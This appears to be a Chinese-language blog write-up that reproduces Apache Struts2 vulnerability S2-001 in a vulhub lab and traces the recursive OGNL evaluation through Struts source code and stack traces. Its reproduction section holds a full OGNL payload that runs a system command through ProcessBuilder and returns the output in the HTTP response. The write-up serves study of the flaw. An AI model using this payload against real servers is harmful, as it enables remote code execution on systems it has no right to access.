背景
最近打算开始更一些漏洞复现/分析的文章,所以决定先从"漏洞之王"——Struts2 开始。
主要有用到三个辅助工具。
- IDEA :这是一个 java 开发 IDE ,功能非常强大。(eclipse 真的很辣鸡)
- vulhub:P神的漏洞靶场(相似的还有 vulapps)
- javaweb-expression:我司大神园长开发的spel、ognl、mvel表达式 hook 工具(http://javaweb.org/?p=1862)
关于S2-001
这是 S2 框架最早被公开的代码执行漏洞,具体详情可参见下方链接。
https://cwiki.apache.org/confluence/display/WW/S2-001
影响范围: Struts 2.0.0 - Struts 2.0.8 , WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5
官方是这么说的:altSyntax 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。
使用struts2的 s标签提交表单,如果验证失败则会在服务端进行一次 OGNL 表达式验证。
官方给出了一段代码:
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
e.g: 我向这个页面提交数据 ?name=%{222-111}&phoneNumber=123
,在后端没有通过验证,返回到页面的时候你会发现 name
文本框的值变成了 111
,也就是 %{222-111}
计算后的结果。这是因为默认情况下,参数值被处理为 %{name} ,OGNL表达式是递归计算的,所以他真正执行的表达式是 %{ %{ 222-111 } }
。
可见这是因为 OGNL 表达式导致的
p.s : struts2 的大部分漏洞,都是由 OGNL 表达式引起。
不知道 OGNL 表达式的可以参考这篇文章,https://www.cnblogs.com/renchunxiao/p/3423299.html
复现
https://github.com/vulhub/vulhub/tree/master/struts2/s2-001
docker 启动 vulhub s2-001 的容器。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"d")).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
分析
通过简单的计算,可以看到 ognl 表达式已经执行。
回到 idea,ognl 表达式的栈轨迹已经被打印出来。
---------------------------------EXP-----------------------------------------
2222-1111
---------------------------------璋冪敤閾 ---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.util.OgnlUtil.compile(OgnlUtil.java:203)
com.opensymphony.xwork2.util.OgnlUtil.getValue(OgnlUtil.java:194)
com.opensymphony.xwork2.util.OgnlValueStack.findValue(OgnlValueStack.java:238)
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:122)
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:71)
org.apache.struts2.components.Component.findValue(Component.java:313)
org.apache.struts2.components.UIBean.evaluateParams(UIBean.java:723)
org.apache.struts2.components.UIBean.end(UIBean.java:481)
org.apache.struts2.views.jsp.ComponentTagSupport.doEndTag(ComponentTagSupport.java:43)
................此处省略
org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)
org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)
org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHandler.process(Http11AprProtocol.java:277)
org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.doRun(AprEndpoint.java:2407)
org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.run(AprEndpoint.java:2396)
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.lang.Thread.run(Thread.java:748)
--------------------------------------------------------------------------
我在 UIBean.java
的 298 行打了一个断点。
问题就出在 if (this.altSyntax()) {
这一行,刚才有提到过漏洞是因为 altSyntax 功能引发的,它的作用是允许s2标签用使用表达式。
此时表达式已成 %{username}
这里放上罪魁祸首之一 translateVariables 方法的源码。
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression; # %{username}
while(true) { # 递归执行 OGNL
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) { //结束条件
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end); # 取出%{}里的表达式 第一次 : username 第二次: 2222-1111
Object o = stack.findValue(var, asType); # 这里开始计算 OGNL 表达式。 第一次 将 username 通过反射从 action 对象里取出。 第二次:将 username 属性的值再次执行一遍。
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
继续跟进,直到这一步invokeMethod:518, OgnlRuntime (ognl)
,他通过反射调用 Action 对象的 get 方法来获取 username 属性,也就是我的payload %{222-111}
。
最终回到了 translateVariables 方法,递归的执行 ognl 表达式,再次执行了一遍 %{222-111}。
这里我给出一份从 translateVariables 方法开始的一个完整调用过程。
findValue:230, OgnlValueStack (com.opensymphony.xwork2.util)
getValue:194, OgnlUtil (com.opensymphony.xwork2.util)
compile:199, OgnlUtil (com.opensymphony.xwork2.util)
getValue:331, Ognl (ognl)
getValue:182, SimpleNode (ognl)
evaluateGetValueBody:161, SimpleNode (ognl)
getValueBody:89, ASTProperty (ognl)
getProperty:1637, OgnlRuntime (ognl)
getProperty:75, CompoundRootAccessor (com.opensymphony.xwork2.util)
getProperty:1637, OgnlRuntime (ognl) [2]
getProperty:58, OgnlValueStack$ObjectAccessor (com.opensymphony.xwork2.util)
getProperty:118, ObjectPropertyAccessor (ognl)
getPossibleProperty:50, ObjectPropertyAccessor (ognl)
getMethodValue:931, OgnlRuntime (ognl)
invokeMethod:518, OgnlRuntime (ognl)
总结
最后总结一下 S2-001 的一个触发条件。
- 开启 altSyntax 功能
- 使用 s 标签处理表单
- action 返回错误
- OGNL 递归处理
值得一提的是 Struts2 官方给出了一个解决办法中提到了。
从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。
也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。